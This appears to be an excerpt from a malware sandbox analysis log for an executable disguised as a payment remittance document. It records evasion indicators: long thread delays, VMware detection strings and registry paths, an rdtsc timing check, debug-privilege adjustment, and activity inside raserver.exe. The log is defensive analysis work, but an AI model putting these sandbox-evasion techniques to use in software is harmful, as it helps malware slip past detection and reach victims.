Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233922
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233796
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 43239
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233672
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233546
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233437
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233297
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233187
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 233078
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232953
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232844
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232703
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232594
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232484
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 232375
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000006.00000000.268488988.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000006.00000000.268488988.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000006.00000000.235824977.0000000008640000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000006.00000000.230183542.0000000004E61000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAv
Source: explorer.exe, 00000006.00000000.268488988.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oft.Mic
Source: explorer.exe, 00000006.00000000.291724518.00000000055D0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000006.00000000.236758134.0000000008907000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}##
Source: explorer.exe, 00000006.00000000.230090929.0000000004DE0000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}1SPS0
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000006.00000000.268488988.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000006.00000000.268488988.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000006.00000000.253375018.00000000087D1000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000006.00000000.248820491.0000000005603000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Code function: 5_2_004088D0 rdtsc

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\raserver.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04828CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048114FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04777D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048205AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048205AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04793D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D3540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04763D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04784D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04784D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04784D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047DA537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04808DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D6DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04828D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04803D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04781DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04781DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04781DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047835A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04752D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04752D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04752D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04752D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04752D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04820EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04820EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04820EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04767E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04767E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04767E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04767E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04767E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04767E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0480FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04828ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04788E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047676E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047816E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047836CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04798EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0480FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D46A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EFE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04754F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04754F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047937F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04768794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04828F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04770050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04770050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478002D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047D7016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047540E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047540E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047540E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04824015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04824015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047558EC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047EB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047990AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0 mov eax, dword ptr fs:[00000030h]
